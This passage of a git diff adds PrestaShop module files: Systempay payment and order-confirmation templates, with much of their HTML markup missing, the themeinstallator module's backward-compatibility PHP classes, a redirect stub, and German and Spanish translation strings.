        +{/if} + +{if $error_msg == true} +

        + {l s='Your order has been registered with a payment error.' mod='systempay'} + + {l s='Please contact our' mod='systempay'} {l s='customer support' mod='systempay'}. +

        +{else} +

        + {l s='Your order on' mod='systempay'} {$shop_name} {l s='is complete.' mod='systempay'} +

        + {l s='We registered your payment of ' mod='systempay'} {$total_to_pay} +

        {l s='For any questions or for further information, please contact our' mod='systempay'} {l s='customer support' mod='systempay'}. +

        +{/if} \ No newline at end of file diff --git a/modules/systempay/views/templates/hook/payment_std.tpl b/modules/systempay/views/templates/hook/payment_std.tpl new file mode 100755 index 0000000..048b847 --- /dev/null +++ b/modules/systempay/views/templates/hook/payment_std.tpl @@ -0,0 +1,124 @@ +{* + * Systempay payment module 1.2f (revision 61545) + * + * Compatible with V2 payment platform. Developped for Prestashop 1.5.0.x. + * Support contact: supportvad@lyra-network.com. + * + * Copyright (C) 2014 Lyra Network (http://www.lyra-network.com/) and contributors + * + * + * NOTICE OF LICENSE + * + * This source file is licensed under the Open Software License version 3.0 + * that is bundled with this package in the file LICENSE.txt. + * It is also available through the world-wide-web at this URL: + * http://opensource.org/licenses/osl-3.0.php +*} + +
        + {if $systempay_std_card_data_mode == 1} + + {else} + + {/if} + {$systempay_std_title} + +
        + + + {if ($systempay_std_card_data_mode == 2) OR ($systempay_std_card_data_mode == 3) } +
        + + {if {$systempay_avail_cards|@count} == 1} + + + {else} + {assign var=first value=true} + {foreach from=$systempay_avail_cards item="card"} + {if $first == true} + + {assign var=first value=false} + {else} + + {/if} + + {/foreach} + {/if} + + {if $systempay_std_card_data_mode == 3} +

        +
        + + +

        +
        + + +

        +
        + + + + {/if} + +

        + {if $back_compat} + + {else} + + {/if} + {/if} +
        +
        + + {if $systempay_std_card_data_mode == 3} {literal} + + {/literal} {/if} +
        \ No newline at end of file diff --git a/modules/themeinstallator/add.png b/modules/themeinstallator/add.png new file mode 100755 index 0000000..f4872d2 Binary files /dev/null and b/modules/themeinstallator/add.png differ diff --git a/modules/themeinstallator/backward_compatibility/Context.php b/modules/themeinstallator/backward_compatibility/Context.php new file mode 100755 index 0000000..0a7b372 --- /dev/null +++ b/modules/themeinstallator/backward_compatibility/Context.php @@ -0,0 +1,347 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + require_once(_PS_MODULE_DIR_ . '/mobile_theme/Mobile_Detect.php'); + +// Retro 1.3, 'class_exists' cause problem with autoload... +if (version_compare(_PS_VERSION_, '1.4', '<')) +{ + // Not exist for 1.3 + class Shop extends ObjectModel + { + public $id = 1; + public $id_shop_group = 1; + + public function __construct() + { + } + + + public static function getShops() + { + return array( + array('id_shop' => 1, 'name' => 'Default shop') + ); + } + + public static function getCurrentShop() + { + return 1; + } + } + + class Logger + { + public static function AddLog($message, $severity = 2) + { + $fp = fopen(dirname(__FILE__).'/../logs.txt', 'a+'); + fwrite($fp, '['.(int)$severity.'] '.Tools::safeOutput($message)); + fclose($fp); + } + } + +} + +// Not exist for 1.3 and 1.4 +class Context +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + /** + * @ var Mobile Detect + */ + public $mobile_detect; + + /** + * @var boolean|string mobile device of the customer + */ + protected $mobile_device; + + public function __construct() + { + global $cookie, $cart, $smarty, $link; + + $this->tab = null; + + $this->cookie = $cookie; + $this->cart = $cart; + $this->smarty = $smarty; + $this->link = $link; + + $this->controller = new ControllerBackwardModule(); + if (is_object($cookie)) + { + $this->currency = new Currency((int)$cookie->id_currency); + $this->language = new Language((int)$cookie->id_lang); + $this->country = new Country((int)$cookie->id_country); + $this->customer = new CustomerBackwardModule((int)$cookie->id_customer); + $this->employee = new Employee((int)$cookie->id_employee); + } + else + { + $this->currency = null; + $this->language = null; + $this->country = null; + $this->customer = null; + $this->employee = null; + } + + $this->shop = new ShopBackwardModule(); + + if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + $this->mobile_detect = new Mobile_Detect(); + } + + public function getMobileDevice() + { + if (is_null($this->mobile_device)) + { + $this->mobile_device = false; + if ($this->checkMobileContext()) + { + switch ((int)Configuration::get('PS_MOBILE_DEVICE')) + { + case 0: // Only for mobile device + if ($this->mobile_detect->isMobile() && !$this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + case 1: // Only for touchpads + if ($this->mobile_detect->isTablet() && !$this->mobile_detect->isMobile()) + $this->mobile_device = true; + break; + case 2: // For touchpad or mobile devices + if ($this->mobile_detect->isMobile() || $this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + } + } + } + + return $this->mobile_device; + } + + protected function checkMobileContext() + { + return isset($_SERVER['HTTP_USER_AGENT']) + && (bool)Configuration::get('PS_MOBILE_DEVICE') + && !Context::getContext()->cookie->no_mobile; + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } + + /** + * @return int Shop context type (Shop::CONTEXT_ALL, etc.) + */ + public static function shop() + { + if (!self::$instance->shop->getContextType()) + return ShopBackwardModule::CONTEXT_ALL; + return self::$instance->shop->getContextType(); + } +} + +/** + * Class Shop for Backward compatibility + */ +class ShopBackwardModule extends Shop +{ + const CONTEXT_ALL = 1; + + public $id = 1; + public $id_shop_group = 1; + + + public function getContextType() + { + return ShopBackwardModule::CONTEXT_ALL; + } + + // Simulate shop for 1.3 / 1.4 + public function getID() + { + return 1; + } + + /** + * Get shop theme name + * + * @return string + */ + public function getTheme() + { + return _THEME_NAME_; + } + + public function isFeatureActive() + { + return false; + } +} + +/** + * Class Controller for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class ControllerBackwardModule +{ + /** + * @param $js_uri + * @return void + */ + public function addJS($js_uri) + { + Tools::addJS($js_uri); + } + + /** + * @param $css_uri + * @param string $css_media_type + * @return void + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + Tools::addCSS($css_uri, $css_media_type); + } + + public function addJquery() + { + if (_PS_VERSION_ < '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.4.4.min.js'); + elseif (_PS_VERSION_ >= '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.7.2.min.js'); + } + +} + +/** + * Class Customer for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class CustomerBackwardModule extends Customer +{ + public $logged = false; + /** + * Check customer informations and return customer validity + * + * @since 1.5.0 + * @param boolean $with_guest + * @return boolean customer validity + */ + public function isLogged($with_guest = false) + { + if (!$with_guest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if object password is the same as database one */ + if ($this->logged == 1 && $this->id && Validate::isUnsignedId($this->id) && Customer::checkPassword($this->id, $this->passwd)) + return true; + return false; + } +} diff --git a/modules/themeinstallator/backward_compatibility/Display.php b/modules/themeinstallator/backward_compatibility/Display.php new file mode 100755 index 0000000..3d0ae2d --- /dev/null +++ b/modules/themeinstallator/backward_compatibility/Display.php @@ -0,0 +1,24 @@ += '1.5') + parent::setTemplate($template); + else + $this->template = $template; + } + + // Overload displayContent for 1.4 + public function displayContent() + { + parent::displayContent(); + + echo Context::getContext()->smarty->fetch($this->template); + } +} \ No newline at end of file diff --git a/modules/themeinstallator/backward_compatibility/backward.ini b/modules/themeinstallator/backward_compatibility/backward.ini new file mode 100755 index 0000000..6520fb7 --- /dev/null +++ b/modules/themeinstallator/backward_compatibility/backward.ini @@ -0,0 +1 @@ +version = 0.4 \ No newline at end of file diff --git a/modules/themeinstallator/backward_compatibility/backward.php b/modules/themeinstallator/backward_compatibility/backward.php new file mode 100755 index 0000000..64ceb1f --- /dev/null +++ b/modules/themeinstallator/backward_compatibility/backward.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Backward function compatibility + * Need to be called for each module in 1.4 + */ + +// Get out if the context is already defined +if (!in_array('Context', get_declared_classes())) + require_once(dirname(__FILE__).'/Context.php'); + +// Get out if the Display (BWDisplay to avoid any conflict)) is already defined +if (!in_array('BWDisplay', get_declared_classes())) + require_once(dirname(__FILE__).'/Display.php'); + +// If not under an object we don't have to set the context +if (!isset($this)) + return; +else if (isset($this->context)) +{ + // If we are under an 1.5 version and backoffice, we have to set some backward variable + if (_PS_VERSION_ >= '1.5' && isset($this->context->employee->id) && $this->context->employee->id) + { + global $currentIndex; + $currentIndex = AdminController::$currentIndex; + } + return; +} + +$this->context = Context::getContext(); +$this->smarty = $this->context->smarty; \ No newline at end of file diff --git a/modules/themeinstallator/backward_compatibility/index.php b/modules/themeinstallator/backward_compatibility/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/themeinstallator/backward_compatibility/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/themeinstallator/de.php b/modules/themeinstallator/de.php new file mode 100755 index 0000000..9b2ad8a --- /dev/null +++ b/modules/themeinstallator/de.php @@ -0,0 +1,106 @@ +themeinstallator_fff01a1de50e0559f82501a927654d1b'] = 'Import / Export eines Themas'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_83ebbd7865677d356ffde5ad7e12784f'] = 'Exportieren oder installieren Sie ein Thema und seine Module auf Ihren Shop.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d721757161f7f70c5b0949fdb6ec2c30'] = 'Thema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_050991b5b76aad0be75563b7cb93a33e'] = 'Nur zip-Dateien sind erlaubt'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_57c1ed81b02e5d3361323c7930897295'] = 'Ein Fehler ist beim Kopieren der Datei aufgetreten.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5fd13c2b89a6eaaa4614bfe258f6c40f'] = 'Zip-Datei scheint beschädigt zu sein'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c186217583219f4cd040d9ee8d388ffb'] = 'Fehler bei der Zip-Extraktion'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0210b6456cdccad569cb56026bb0f689'] = 'Schlechte Konfigurationsdatei'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5b6cf869265c13af8566f192b4ab3d2a'] = 'Dokumentation'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_6bdbe5a8a9f446d4d758ee4c22648771'] = 'Sie möchten eventuell die Dokumentation prüfen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7348fd57bfb5c837fc57e54fcfeeed9e'] = 'Rechtsklick auf den Namen und \"Link speichern unter\" wählen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_25b9e1d82d8200d70be2b22a1a283957'] = 'Ein Fehler ist beim Hochladen der Datei aufgetreten.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0dea6caeb83e5c11d3678284e64ebed8'] = 'Fehler beim Herunterladen der Datei'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0dfbf4744524c8573235d60589d8b66e'] = 'Bilder wurden korrekt in der Datenbank aktualisiert'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dd1f775e443ff3b9a89270713580a51b'] = 'Zurück'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a20ddccbb6f808ec42cd66323e6c6061'] = 'Fertig'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_33167fe8de7517798cf2e95c7680d6a4'] = 'Die folgenden Themen wurden erfolgreich importiert'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f4ef3a40f287dd9849004a7f5af73f00'] = 'Achtung: ein Modul mit dem gleichen Namen existiert bereits'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_df8703a4066393da85e8188261660717'] = 'Wählen Sie das Themenmodul, das Sie installieren möchten'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7651cc4a979c5e21ee50de988ce574b0'] = 'Native Modulkonfiguration'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_b63327da4aa6711172df3d4b337a567c'] = 'Diese Option ermittelt, welche Standard-Module aktiviert oder deaktiviert sind'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c62398aad687870575a4bd6d34d041bb'] = 'Meine aktuelle Konfiguration beibehalten'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_60c072d9e1166cec2cc60f06a018441c'] = 'Template-Einstellungen verwenden (empfohlen)'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_130c5b3473c57faa76e2a1c54e26f88e'] = 'Beide'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_10ac3d04253ef7e1ddc73e6091c0cd55'] = 'Weiter'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5138a89d1b730dacf446855e15c24496'] = 'Sie installieren das folgenden Template '; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f364da141450380ae79d7a45528f4c06'] = 'Dieses Thema ist für Prestashop'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ac85d9784348dc8f0c2db93f4a095eb0'] = 'Achtung: Sie haben bereits ein Thema mit dem gleichen Ordnernamen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_8f3ea15c5b87db00561ccde5067310a5'] = 'für Prestashop'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_caeedb303068f9915e8e5ce091c9c02f'] = '(Achtung: Ein Ordner mit dem gleichen Namen ist bereits vorhanden)'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_2dd99d7426b4fe6dd04d7a98f5e32a62'] = 'Wählen Sie die Varianten, die Sie importieren möchten'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f956917da1716add289f33a8869b85d4'] = 'Standard-Template'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_1e3de51d693cd0c7e903bcf3769a0cdb'] = 'Deaktivieren Sie dieses Kontrollkästchen, wenn Sie das Standard-Template nicht installieren möchten.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c49fbf2b822fd14929fd1fd76cdb0c96'] = 'Wählen Sie die Variationen, die Sie importieren möchten'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7961c4434751797a383d52d647e044d6'] = 'Import aus Ihrem Computer'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dec0faa6eb19bd9120d12c5a876bd1cf'] = 'Import aus dem Internet'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d1baba351b02042982a133c4df5d4924'] = 'Template exportieren'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5092965125a28a17f49ee460fbc1f62c'] = 'Template auswählen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0557cae4cf5b379e665910d701210f69'] = 'Diese Template exportieren'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_1031371f906a92891140f384d04b3421'] = ' Beim Anlegen des Archivs ist ein Fehler aufgetreten'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_2c19b34eebed37ccc288c518006615b3'] = 'Falsche E-Mail-Syntax!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_129b7dae66f0029381da64578a351198'] = 'Fehler in Ihrer URL-Syntax!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_87e0eaf3f9614cb904fafb0d4f4c1f56'] = 'Dateierweiterung muss .txt oder .pdf sein'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_550a06d4fd147c22a4c921036003abf6'] = 'Fehler beim heraufladen der Dokumentation'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ecd8e7704f6f4f730f6a43bfb24a9546'] = 'Bitte geben Sie einen gültigen Dokumentationsnamen an'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_623e4ca0275c19c3134b7290fdd19264'] = 'Bitte geben Sie einen gültigen Autornamen an'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a43f1054076c2389afd746ec3d5d1c71'] = 'Bitte geben Sie einen gültigen Themennamen an'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_03d105aa95f842fc54b18ca8a73109ca'] = 'Bitte geben Sie einen gültigen Themavariationsnamen an'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_9891d2e13ad8b753833055c5809a733e'] = 'Syntaxfehler im Versionsfeld. Nur Ziffern und Punkte sind erlaubt und die Kompatibilität sollte steigend oder gleich sein.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dd88d85745bba1abfa65cef79472da6a'] = 'Syntaxfehler auf der Version. Nur Ziffern und Punkte sind erlaubt die Kompatibilität sollte steigend oder gleich sein.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_bf17ac149e2e7a530c677e9bd51d3fd2'] = 'Module'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_714af595b1403ed23ff51f27e863c9a2'] = 'Wählen Sie die Module, die Sie exportieren möchten'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a517747c3d12f99244ae598910d979c5'] = 'Autor'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_49ee3087348e8d44e1feda1917443987'] = 'Name'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'E-Mail'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_15bbb9d0bbf25e8d2978de1168c749dc'] = 'Webseite'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f4f10e7d35bef4e7b48e76ee4bdeae24'] = 'Ihr Themenname'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_b5a7adde1af5c87d7fd797b6245c2a39'] = 'Beschreibung'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_742ec436610daf7b51a1ba94039adf78'] = 'Geben Sie eine kurze Beschreibung Ihres Themas ein'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_34b6cd75171affba6957e308dcbd92be'] = 'Version'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7da6f328a4647adb2b96a01a6d7c05c4'] = 'Ihre Themenversion'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_333dfbe2bb5c64b140df4607935ec8be'] = 'Kompatibel ab'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_e12167aa0a7698e6ebc92b4ce3909b53'] = 'bis'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a82cac3db0465cfc701f3765fd880019'] = 'Dokumentation hinzufügen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_08e27f4e5511f4f6aa73557e6ad6df48'] = 'Geben Sie dem Benutzer eine Hilfe. Fügen Sie ein Feld hinzu, indem Sie hier klicken'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a508df4b049c5b044cb4568b76b6c7e6'] = 'Variation hinzufügen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_626bd6acdcd835a5d064ef6358124b6c'] = 'Anderes Thema und Kompatibilität zum Hinzufügen wählen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ac70412e939d72a9234cdebb1af5867b'] = 'Pfad'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5da618e8e4b89c66fe86e32cdafde142'] = 'Von'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_3271e801d0a5db9dc2963a19ed9695d6'] = 'Wählen Sie ein Thema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ea4788705e6873b424c65e91c2846b19'] = 'Abbrechen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_abb381ee4077396e5d5d475b9022ba86'] = 'Generieren Sie das Archiv jetzt!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ea5eb3f904bf42377277255cbd0e2251'] = 'Um einwandfrei zu funktionieren, benötigt das Modul die Aktivierung des Moduls Abwärtskompatibilität'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Das Modul benötigt für eine einwandfreie Funktionsweise das Modul Abwärtskompatibilität Version'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Für dieses Modul müsen Sie auch das Modul Abwärtskompatibilität installieren.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_625752b5671445388af8f5e1ea3176c0'] = '%s ist kein gültiges Template für den Export'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a7eca295291f53a23ab7ba0a9c7fd9de'] = 'Diese Funktion wurde deaktiviert.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_00f0916ff7ef4b0a0583b679b6e84d8c'] = 'Folgende Module sind installiert:'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_9bdbe38cc4695eeb974613a148cc92b7'] = 'Folgende Module wurden deaktiviert:'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_04e4e6909614be09727ebe4fb79c9e27'] = 'Folgende Module wurden aktiviert:'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_4e246bd71dd5fb033e402b373e6ee434'] = ' Warnung: Kopieren Sie die Fehlermeldungen, wenn Sie den Bildtyp manuell festlegen möchten (Menüpunkt \"Bilder\" im Menü \"Voreínstellungen\"):'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_203c5dff06c7565ffd6713a914c62d16'] = 'Die folgenden Bilder existierten bereits und konnten nicht hinzugefügt werden:'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_3b90370ac32dead2af37eabe3bdbb97f'] = 'Bildtyp'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_48ccf48dcf2218a413ce473262f21a0c'] = 'Breite'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_e933dc24fb245d863a43b4fefe9b45f5'] = 'Höhe'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7b8e139260e50dd81e70b6ef6910e6f6'] = 'Wählen Sie die Module aus, die für dieses Template deaktiviert wrden müssen'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_20be6bcfa3d8c557253841bf7b22235a'] = 'Wählen Sie, welcher Shop dieses Template nutzen soll'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d0594793a76c7e694f6bf7d4fea06a99'] = 'Template-Name'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0205578268437a2c18d438b434b6d4cf'] = 'Template-Verzeichnis'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_46e95e2b620606d0e54fdf9094346f79'] = 'Wichtig: Das Verzeichnis der Variation ist ein Unterverzeichnis des Template-Verzeichnisses.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dc87369c7dd7d760c8076a4e1a3805d0'] = 'Wählen Sie für den Export ein Template'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_73b423af0106343c060aefb660e79ff2'] = 'Bitte wählen Sie ein Template'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_bc52857ec49d8de10e55171f5bbc7f2a'] = 'Archiv-Datei'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_24ad8bfdfce09842a83f10d59a8ef01f'] = 'Wo ist Ihre Zip-Datei?'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a33388a338ee2b199d66112369279558'] = 'Archiv-URL'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_cd8d9cc19984ccf9d314eee5eebfc2cc'] = 'Import vom FTP'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_94f2371003860a92b12bf4c66b2851ac'] = 'Wählen Sie ein Archiv'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_43eed730e20e1fc8e2245e20046733ea'] = 'Bitte wählen Sie eine ZIP-Datei aus (vorher hochgeladen in Ihr Verzeichnis %s) '; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ed5778790800282a0e2044e50ac20de3'] = 'Zugriff verweigert. Bitte setzen Sie die Rechte 666 für dieses Verzeichnis: %s'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ad8161d79988145440845b927e3708d4'] = 'Bitte dieses Formualr ausfüllen, um das Template %s als ZIP-Datei zu exportieren'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_fa20578667f2e569f2ed1da415126040'] = 'Dies ist eine Lste der Fremdmodule.'; diff --git a/modules/themeinstallator/delete.png b/modules/themeinstallator/delete.png new file mode 100755 index 0000000..8f0d06d Binary files /dev/null and b/modules/themeinstallator/delete.png differ diff --git a/modules/themeinstallator/es.php b/modules/themeinstallator/es.php new file mode 100755 index 0000000..19279dd --- /dev/null +++ b/modules/themeinstallator/es.php @@ -0,0 +1,78 @@ +themeinstallator_fff01a1de50e0559f82501a927654d1b'] = 'Importar / exportar un tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_83ebbd7865677d356ffde5ad7e12784f'] = 'Exportar o importar un tema y sus módulos en su tienda'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_25b9e1d82d8200d70be2b22a1a283957'] = 'Se ha producido un error durante el envío del archivo.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_050991b5b76aad0be75563b7cb93a33e'] = 'Solo están autorizados los archivos zip'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_57c1ed81b02e5d3361323c7930897295'] = 'Se ha producido un error durante la copia del archivo.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5fd13c2b89a6eaaa4614bfe258f6c40f'] = 'El archivo zip parece corrupto'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0dea6caeb83e5c11d3678284e64ebed8'] = 'Se ha producido un error durante el envío del archivo'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c186217583219f4cd040d9ee8d388ffb'] = 'Se ha producido un error durante la extracción del archivo zip'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0210b6456cdccad569cb56026bb0f689'] = 'Configuración de archivo errónea'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5b6cf869265c13af8566f192b4ab3d2a'] = 'Documentación'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_6bdbe5a8a9f446d4d758ee4c22648771'] = 'Puede consultar la documentación'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7348fd57bfb5c837fc57e54fcfeeed9e'] = 'Haga clic derecho en el nombre y elija \"guardar el enlace bajo\"'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_b857ef1f431c5f3290dc5b5e644826a6'] = 'Se han instalado los siguientes módulos'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_22c765d777eb4ca6b4292bcbb596872e'] = 'Se han desactivado los siguientes módulos'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_e501dc865768ac08d49c129a23c3ae09'] = 'Se han activado los siguientes módulos'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0dfbf4744524c8573235d60589d8b66e'] = 'Se han actualizado las imágenes en la base de datos'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dd1f775e443ff3b9a89270713580a51b'] = 'Anterior'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a20ddccbb6f808ec42cd66323e6c6061'] = 'Terminar'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_33167fe8de7517798cf2e95c7680d6a4'] = 'Los siguientes temas se han importado correctamente'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f4ef3a40f287dd9849004a7f5af73f00'] = 'Atención: ya existe un módulo con ese nombre'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_df8703a4066393da85e8188261660717'] = 'Seleccione los módulos del tema que desea instalar'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7651cc4a979c5e21ee50de988ce574b0'] = 'Configuración de los módulos nativos'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_130c5b3473c57faa76e2a1c54e26f88e'] = 'Ambos'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c90ba3aaed0a2bafed18233111062cf0'] = 'Configuración de las imágenes del tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_332efbbfb2c4bd5a37fd7a55659b821a'] = 'No cambiar nada'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_10ac3d04253ef7e1ddc73e6091c0cd55'] = 'Siguiente'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5138a89d1b730dacf446855e15c24496'] = 'Está a punto de instalar los siguientes temas'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f364da141450380ae79d7a45528f4c06'] = 'Este tema es para PrestaShop'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ac85d9784348dc8f0c2db93f4a095eb0'] = '(Atención: ya existe un tema con ese nombre)'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_8f3ea15c5b87db00561ccde5067310a5'] = 'para PrestaShop'; 